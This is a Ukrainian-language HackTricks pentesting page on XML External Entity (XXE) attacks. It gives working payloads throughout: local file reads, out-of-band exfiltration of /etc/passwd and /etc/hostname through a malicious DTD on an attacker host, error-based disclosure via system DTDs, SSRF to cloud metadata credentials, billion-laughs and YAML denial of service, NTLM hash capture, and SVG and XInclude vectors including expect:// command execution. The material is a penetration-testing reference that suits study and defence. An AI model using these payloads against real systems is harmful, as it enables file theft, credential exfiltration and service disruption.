hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

707 lines
49 KiB
Markdown
Raw Normal View History

2024-03-29 18:49:46 +00:00
# XXE - XEE - Зовнішній сутнісний XML
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2024-02-03 14:45:32 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
2022-04-28 16:01:33 +00:00
</details>
2024-03-29 18:49:46 +00:00
## Основи XML
2024-03-29 18:49:46 +00:00
XML - це мова розмітки, призначена для зберігання та транспортування даних, яка має гнучку структуру, що дозволяє використовувати описовані теги. Вона відрізняється від HTML тим, що не обмежується набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на його початкову роль в технології AJAX.
2024-03-29 18:49:46 +00:00
* **Представлення даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `&lt;` та `&gt;`, які відповідають `<` та `>`, щоб уникнути конфліктів з системою тегів XML.
* **Визначення елементів XML**: XML дозволяє визначати типи елементів, описуючи, як повинні бути структуровані елементи та який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.
* **Визначення типу документа (DTD)**: DTD є важливим у XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінованими, керуючи тим, як форматуються та перевіряються документи.
* **Власні та зовнішні сутності**: XML підтримує створення власних сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені за допомогою URL, викликають питання безпеки, особливо в контексті атак зовнішніх сутностей XML (XXE), які використовують спосіб обробки зовнішніх джерел даних XML-аналізаторами: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли традиційні методи не працюють через заходи безпеки аналізатора, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати техніки виявлення поза мережею, такі як спрацювання DNS-запитів або HTTP-запитів на керований домен для підтвердження вразливості.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
2024-03-29 18:49:46 +00:00
## Основні атаки
2024-03-29 18:49:46 +00:00
[**Більшість цих атак були протестовані за допомогою чудових лабораторій Portswiggers XEE: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
2024-03-29 18:49:46 +00:00
### Тест нової сутності
2024-03-29 18:49:46 +00:00
У цій атакі я перевірю, чи працює просте оголошення нової СУТНОСТІ.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
2024-03-29 18:49:46 +00:00
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
2024-03-29 18:49:46 +00:00
### Читання файлу
2024-03-29 18:49:46 +00:00
Спробуємо прочитати `/etc/passwd` різними способами. Для Windows ви можете спробувати прочитати: `C:\windows\system32\drivers\etc\hosts`
2024-03-29 18:49:46 +00:00
У цьому першому випадку зверніть увагу, що SYSTEM "_\*\*file:///\*\*etc/passwd_" також працюватиме.
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
2024-03-29 18:49:46 +00:00
Цей другий випадок може бути корисним для вилучення файлу, якщо веб-сервер використовує PHP (не випадок лабораторій Portswiggers)
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
2024-03-29 18:49:46 +00:00
У цьому третьому випадку зверніть увагу, що ми оголошуємо `Element stockCheck` як ANY
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
2024-03-29 18:49:46 +00:00
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
2024-03-29 18:49:46 +00:00
### Список каталогів
2024-03-29 18:49:46 +00:00
У додатках на основі **Java** можливо **переглянути вміст каталогу** через XXE за допомогою такого завантаження (просто запитуючи каталог замість файлу):
2024-02-06 03:10:38 +00:00
```xml
2021-08-03 11:46:59 +00:00
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
2022-09-30 10:43:59 +00:00
### SSRF
2024-03-29 18:49:46 +00:00
XXE може бути використаний для зловживання SSRF в хмарі
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
2024-03-29 18:49:46 +00:00
### Сліпий SSRF
2024-03-29 18:49:46 +00:00
Використовуючи **раніше згадану техніку**, ви можете змусити сервер звертатися до сервера, яким ви керуєте, щоб показати його вразливість. Але, якщо це не працює, можливо, це через те, що **XML-сутності не дозволені**, у цьому випадку ви можете спробувати використати **XML-параметричні сутності**:
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2024-03-29 18:49:46 +00:00
### "Сліпий" SSRF - Виведення даних за межі зв'язку
2024-03-29 18:49:46 +00:00
**У цьому випадку ми змусимо сервер завантажити новий DTD зі злоякісним навантаженням, яке відправить вміст файлу через запит HTTP (**для **файлів з кількома рядками ви можете спробувати вивести його через** _**ftp://**_ використовуючи цей базовий сервер, наприклад [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Це пояснення базується на** [**лабораторії Portswigger тут**](https://portswigger.net/web-security/xxe/blind)**.**
2024-03-29 18:49:46 +00:00
У злоякісному DTD, наведеному нижче, проводиться серія кроків для виведення даних:
2024-03-29 18:49:46 +00:00
### Приклад злоякісного DTD:
2024-03-29 18:49:46 +00:00
Структура наступна:
2024-02-05 02:29:11 +00:00
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
2024-03-29 18:49:46 +00:00
Кроки, виконані цим DTD, включають:
2024-03-29 18:49:46 +00:00
1. **Визначення Параметричних Сутностей:**
* Створюється XML параметрична сутність, `%file`, яка читає вміст файлу `/etc/hostname`.
* Інша XML параметрична сутність, `%eval`, визначається. Вона динамічно оголошує нову XML параметричну сутність, `%exfiltrate`. Сутність `%exfiltrate` встановлюється для виконання HTTP-запиту на сервер атакуючого, передаючи вміст сутності `%file` у рядку запиту URL.
2. **Виконання Сутностей:**
* Використовується сутність `%eval`, що призводить до виконання динамічного оголошення сутності `%exfiltrate`.
* Потім використовується сутність `%exfiltrate`, що викликає HTTP-запит на вказаний URL із вмістом файлу.
2024-03-29 18:49:46 +00:00
Атакуючий розміщує цей шкідливий DTD на сервері під своїм контролем, зазвичай за URL-адресою, наприклад, `http://web-attacker.com/malicious.dtd`.
2024-02-05 02:29:11 +00:00
2024-03-29 18:49:46 +00:00
**XXE Payload:** Для експлуатації вразливої програми атакуючий надсилає XXE навантаження:
2024-02-05 02:29:11 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2024-03-29 18:49:46 +00:00
Цей вразливий код визначає XML параметричний об'єкт `%xxe` та включає його в DTD. При обробці XML-аналізатором цей код витягує зовнішній DTD з сервера зловмисника. Потім аналізатор інтерпретує DTD в режимі реального часу, виконуючи кроки, вказані в шкідливому DTD, що призводить до витікання файлу `/etc/hostname` на сервер зловмисника.
2024-03-29 18:49:46 +00:00
### Основано на помилках (Зовнішній DTD)
2024-02-05 02:29:11 +00:00
2024-03-29 18:49:46 +00:00
**У цьому випадку ми змусимо сервер завантажити шкідливий DTD, який покаже вміст файлу у повідомленні про помилку (це працює лише в разі, якщо ви можете бачити повідомлення про помилку).** [**Приклад тут.**](https://portswigger.net/web-security/xxe/blind)
2024-03-29 18:49:46 +00:00
Помилка розбору XML, яка розкриває вміст файлу `/etc/passwd`, може бути викликана за допомогою шкідливого зовнішнього визначення типу документа (DTD). Це досягається за допомогою наступних кроків:
2024-03-29 18:49:46 +00:00
1. Визначається XML параметричний об'єкт з ім'ям `file`, який містить вміст файлу `/etc/passwd`.
2. Визначається XML параметричний об'єкт з ім'ям `eval`, який включає динамічне визначення для іншого XML параметричного об'єкта з ім'ям `error`. Цей об'єкт `error`, при оцінці, намагається завантажити неіснуючий файл, включаючи вміст об'єкта `file` як його ім'я.
3. Викликається об'єкт `eval`, що призводить до динамічного визначення об'єкта `error`.
4. Викликання об'єкта `error` призводить до спроби завантажити неіснуючий файл, що призводить до повідомлення про помилку, яке містить вміст файлу `/etc/passwd` як частину імені файлу.
2024-03-29 18:49:46 +00:00
Шкідливий зовнішній DTD можна викликати за допомогою наступного XML:
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2024-03-29 18:49:46 +00:00
Після виконання відповідь веб-сервера повинна містити повідомлення про помилку, яке відображає вміст файлу `/etc/passwd`.
2024-02-06 03:10:38 +00:00
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (223) (1).png>)
2024-03-29 18:49:46 +00:00
_**Зверніть увагу, що зовнішній DTD дозволяє нам включити один елемент всередині другого (****`eval`****), але це заборонено во внутрішньому DTD. Тому ви не можете викликати помилку без використання зовнішнього DTD (зазвичай).**_
2024-03-29 18:49:46 +00:00
### **Заснований на помилках (системний DTD)**
2024-03-29 18:49:46 +00:00
Отже, що на рахунок сліпих вразливостей XXE, коли **блокуються взаємодії поза мережею** (зовнішні з'єднання недоступні)?.
2024-03-29 18:49:46 +00:00
У лазунці у специфікації мови XML може **розкрити чутливі дані через повідомлення про помилку, коли DTD документа поєднує внутрішні та зовнішні оголошення**. Ця проблема дозволяє внутрішнє перевизначення елементів, оголошених зовні, що сприяє виконанню атак XXE на основі помилок. Такі атаки використовують перевизначення параметрного елемента XML, спочатку оголошеного в зовнішньому DTD, з внутрішнього DTD. Коли сервер блокує зв'язки поза мережею, зловмисники повинні покладатися на локальні файли DTD для проведення атаки, спрямованої на викликання помилки розбору для розкриття чутливої інформації.
2024-03-29 18:49:46 +00:00
Припустимо, що файлова система сервера містить файл DTD за шляхом `/usr/local/app/schema.dtd`, який визначає елемент з назвою `custom_entity`. Зловмисник може викликати помилку розбору XML, розкриваючи вміст файлу `/etc/passwd`, надсилаючи гібридний DTD наступного вигляду:
2024-02-04 16:10:29 +00:00
```xml
<!DOCTYPE foo [
2024-03-29 18:49:46 +00:00
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
2024-03-29 18:49:46 +00:00
Вказані кроки виконуються цим DTD:
2024-03-29 18:49:46 +00:00
* Визначення XML-параметрного об'єкта з іменем `local_dtd` включає зовнішній файл DTD, розташований на файловій системі сервера.
* Відбувається перевизначення параметрного об'єкта XML `custom_entity`, спочатку визначеного в зовнішньому DTD, для упакування [експлойту XXE на основі помилок](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Це перевизначення призначене для виклику помилки розбору, що викриває вміст файлу `/etc/passwd`.
* Використовуючи об'єкт `local_dtd`, залучається зовнішній DTD, охоплюючи ново визначений `custom_entity`. Ця послідовність дій призводить до виникнення повідомлення про помилку, на яке спрямований експлойт.
2024-03-29 18:49:46 +00:00
**Приклад з реального життя:** Системи, які використовують середовище робочого столу GNOME, часто мають DTD за шляхом `/usr/share/yelp/dtd/docbookx.dtd`, що містить об'єкт з іменем `ISOamso`.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
2024-03-29 18:49:46 +00:00
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2024-03-29 18:49:46 +00:00
Якщо ця техніка використовує **внутрішній DTD, спочатку потрібно знайти дійсний**. Це можна зробити, **встановивши** той самий **OS / Software**, який використовує сервер, і **пошукавши деякі типові DTD**, або **отримавши список** **типових DTD** всередині систем та **перевірити**, чи існує хоча б один з них:
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
2024-03-29 18:49:46 +00:00
Для отримання додаткової інформації перевірте [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
2024-03-29 18:49:46 +00:00
### Пошук DTD всередині системи
2021-05-01 17:36:21 +00:00
2024-03-29 18:49:46 +00:00
У наступному чудовому репозиторії github ви можете знайти **шляхи DTD, які можуть бути присутні в системі**:
2021-05-01 17:36:21 +00:00
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
2021-05-01 17:36:21 +00:00
2024-03-29 18:49:46 +00:00
Крім того, якщо у вас є **образ Docker системи жертви**, ви можете використовувати інструмент з того ж репозиторію для **сканування** **образу** та **знаходження** шляху **DTD**, які присутні всередині системи. Прочитайте [Readme репозиторію github](https://github.com/GoSecure/dtd-finder), щоб дізнатися як.
2021-05-01 17:36:21 +00:00
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
2024-03-29 18:49:46 +00:00
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
2024-03-29 18:49:46 +00:00
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
```
2024-03-29 18:49:46 +00:00
### XXE через парсери Office Open XML
2021-05-01 17:36:21 +00:00
2024-03-29 18:49:46 +00:00
Для більш детального пояснення цього атаки, **перевірте другий розділ** [**цього дивовижного посту**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **від Detectify**.
2024-03-29 18:49:46 +00:00
Можливість **завантаження документів Microsoft Office пропонується багатьма веб-додатками**, які потім продовжують видобувати певні деталі з цих документів. Наприклад, веб-додаток може дозволяти користувачам імпортувати дані, завантажуючи таблицю у форматі XLSX. Для того, щоб парсер міг видобути дані з таблиці, йому необхідно буде розібрати принаймні один файл XML.
2024-03-29 18:49:46 +00:00
Для перевірки цієї вразливості необхідно створити **файл Microsoft Office, що містить навантаження XXE**. Першим кроком є створення порожнього каталогу, до якого можна розпакувати документ.
2024-03-29 18:49:46 +00:00
Після розпакування документа, файл XML, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати у вибраному текстовому редакторі (наприклад, vim). XML повинен бути змінений так, щоб включити бажане навантаження XXE, часто починаючи з запиту HTTP.
2024-03-29 18:49:46 +00:00
Змінені рядки XML повинні бути вставлені між двома кореневими об'єктами XML. Важливо замінити URL на URL, який можна відстежувати для запитів.
2024-03-29 18:49:46 +00:00
Нарешті, файл можна запакувати, щоб створити шкідливий файл poc.docx. З папки "unzipped", створеної раніше, слід виконати наступну команду:
2024-03-29 18:49:46 +00:00
Тепер створений файл можна завантажити в потенційно вразливий веб-додаток, і можна сподіватися, що запит з'явиться в журналах співпраці Burp.
2021-05-01 17:36:21 +00:00
2024-03-29 18:49:46 +00:00
### Протокол Jar:
2021-05-01 17:36:21 +00:00
2024-03-29 18:49:46 +00:00
Протокол **jar** доступний виключно в межах **Java-додатків**. Він призначений для забезпечення доступу до файлів у **архіві PKZIP** (наприклад, `.zip`, `.jar`, тощо), обслуговування як локальних, так і віддалених файлів.
```
2021-05-01 17:36:21 +00:00
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
2024-03-29 18:49:46 +00:00
Для можливості доступу до файлів всередині файлів PKZIP **дуже корисно зловживати XXE через файли системи DTD.** Перевірте [цей розділ, щоб дізнатися, як зловживати файлами системи DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd).
2021-05-01 17:36:21 +00:00
{% endhint %}
2024-03-29 18:49:46 +00:00
Процес доступу до файлу всередині архіву PKZIP за допомогою протоколу jar включає кілька кроків:
2021-05-01 17:36:21 +00:00
2024-03-29 18:49:46 +00:00
1. Виконується HTTP-запит для завантаження zip-архіву з вказаного місця, наприклад, `https://download.website.com/archive.zip`.
2. HTTP-відповідь, що містить архів, тимчасово зберігається на системі, зазвичай в місці, такому як `/tmp/...`.
3. Потім архів розпаковується для доступу до його вмісту.
4. Читається конкретний файл всередині архіву, `file.zip`.
5. Після виконання операції будь-які тимчасові файли, створені під час цього процесу, видаляються.
2021-05-01 17:36:21 +00:00
2024-03-29 18:49:46 +00:00
Цікавою технікою для переривання цього процесу на другому кроці є тримання відкритого підключення до сервера нескінченно довго при обслуговуванні файлу архіву. Інструменти, доступні в [цьому репозиторії](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution), можна використовувати для цієї цілі, включаючи сервер Python (`slow_http_server.py`) та сервер Java (`slowserver.jar`).
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
2021-05-01 17:36:21 +00:00
{% hint style="danger" %}
2024-03-29 18:49:46 +00:00
Запис файлів у тимчасовий каталог може допомогти **збільшити іншу вразливість, яка включає трансверсал шляху** (таку як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
2021-05-01 17:36:21 +00:00
{% endhint %}
2022-09-30 10:43:59 +00:00
### XSS
2024-02-06 03:10:38 +00:00
```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
2022-09-30 10:43:59 +00:00
### DoS
2024-03-29 18:49:46 +00:00
#### Атака "Мільярд сміхів"
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
2024-03-29 18:49:46 +00:00
#### Атака Yaml
2024-02-06 03:10:38 +00:00
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
2024-03-29 18:49:46 +00:00
#### Квадратична атака на розпухання
![](<../.gitbook/assets/image (531).png>)
2024-03-29 18:49:46 +00:00
#### Отримання NTML
2024-03-29 18:49:46 +00:00
На хостах Windows можливо отримати хеш NTML користувача веб-сервера, встановивши обробник responder.py:
2024-02-06 03:10:38 +00:00
```bash
Responder.py -I eth0 -v
```
2024-03-29 18:49:46 +00:00
і надсилаючи наступний запит
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
2024-03-29 18:49:46 +00:00
## Приховані поверхні XXE
2022-09-30 10:43:59 +00:00
### XInclude
2024-03-29 18:49:46 +00:00
При інтеграції даних клієнта в серверні XML-документи, такі як ті, що містяться в запитах SOAP на боці сервера, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на зміну елемента `DOCTYPE`. Однак атака `XInclude` надає рішення, дозволяючи вставляти зовнішні сутності в будь-який елемент даних XML-документу. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у створеному сервером XML-документі.
2024-03-29 18:49:46 +00:00
Для виконання атаки `XInclude` потрібно оголосити простір імен `XInclude` та вказати шлях до файлу для призначеної зовнішньої сутності. Нижче наведено лаконічний приклад того, як можна сформулювати таку атаку:
2024-02-04 16:10:29 +00:00
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
2024-03-29 18:49:46 +00:00
Перевірте [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) для отримання додаткової інформації!
2024-03-29 18:49:46 +00:00
### SVG - Завантаження файлів
2024-03-29 18:49:46 +00:00
Файли, які користувачі завантажують до певних додатків, а потім обробляються на сервері, можуть використовувати вразливості у способі обробки XML або файлів, що містять XML. Розповсюджені формати файлів, такі як офісні документи (DOCX) та зображення (SVG), базуються на XML.
2024-03-29 18:49:46 +00:00
Коли користувачі **завантажують зображення**, ці зображення обробляються або перевіряються на сервері. Навіть для додатків, які очікують формати, такі як PNG або JPEG, **бібліотека обробки зображень сервера може також підтримувати зображення SVG**. SVG, як формат на основі XML, може бути використаний зловмисниками для надсилання шкідливих зображень SVG, тим самим викриваючи сервер на вразливості XXE (зовнішні сутності XML).
2024-03-29 18:49:46 +00:00
Нижче показано приклад такої атаки, де зловмисне зображення SVG намагається прочитати системні файли:
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
2024-03-29 18:49:46 +00:00
Ще один метод полягає в спробі **виконати команди** через обгортку PHP "expect":
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
2024-03-29 18:49:46 +00:00
<image xlink:href="expect://ls"></image>
</svg>
```
2024-03-29 18:49:46 +00:00
У обох випадках формат SVG використовується для запуску атак, які використовують можливості обробки XML програмного забезпечення сервера, що підкреслює необхідність надійної перевірки введених даних та заходів безпеки.
2024-03-29 18:49:46 +00:00
Перевірте [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) для отримання додаткової інформації!
2024-03-29 18:49:46 +00:00
**Зверніть увагу, що перший рядок прочитаного файлу або результату виконання з'явиться УСЕРЕДИНІ створеного зображення. Тому вам потрібно мати можливість отримати доступ до створеного SVG-зображення.**
2024-03-29 18:49:46 +00:00
### **PDF - Завантаження файлу**
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Прочитайте наступний пост, щоб **дізнатися, як використовувати XXE для завантаження файлу PDF**:
2020-10-15 13:16:06 +00:00
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
### Content-Type: Від x-www-urlencoded до XML
2024-03-29 18:49:46 +00:00
Якщо запит POST приймає дані у форматі XML, ви можете спробувати використати XXE в цьому запиті. Наприклад, якщо звичайний запит містить наступне:
2024-02-06 03:10:38 +00:00
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
2024-03-29 18:49:46 +00:00
Тоді ви, можливо, зможете надіслати наступний запит з таким самим результатом:
2024-02-06 03:10:38 +00:00
```xml
2020-11-17 16:58:54 +00:00
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
2024-03-29 18:49:46 +00:00
### Content-Type: Від JSON до XEE
2024-03-29 18:49:46 +00:00
Для зміни запиту ви можете використати розширення Burp під назвою "**Content Type Converter**". [Тут](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) ви можете знайти цей приклад:
2024-02-06 03:10:38 +00:00
```xml
Content-Type: application/json;charset=UTF-8
2020-11-20 10:55:52 +00:00
{"root": {"root": {
2024-03-29 18:49:46 +00:00
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
2024-02-06 03:10:38 +00:00
```xml
Content-Type: application/xml;charset=UTF-8
2020-11-20 10:55:52 +00:00
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
2024-03-29 18:49:46 +00:00
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
2024-03-29 18:49:46 +00:00
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
2024-03-29 18:49:46 +00:00
Інший приклад можна знайти [тут](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
2024-03-29 18:49:46 +00:00
## WAF & Захист від обхіду
2022-09-30 10:43:59 +00:00
### Base64
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
2024-03-29 18:49:46 +00:00
Це працює лише у випадку, якщо сервер XML приймає протокол `data://`.
2022-09-30 10:43:59 +00:00
### UTF-7
2024-03-29 18:49:46 +00:00
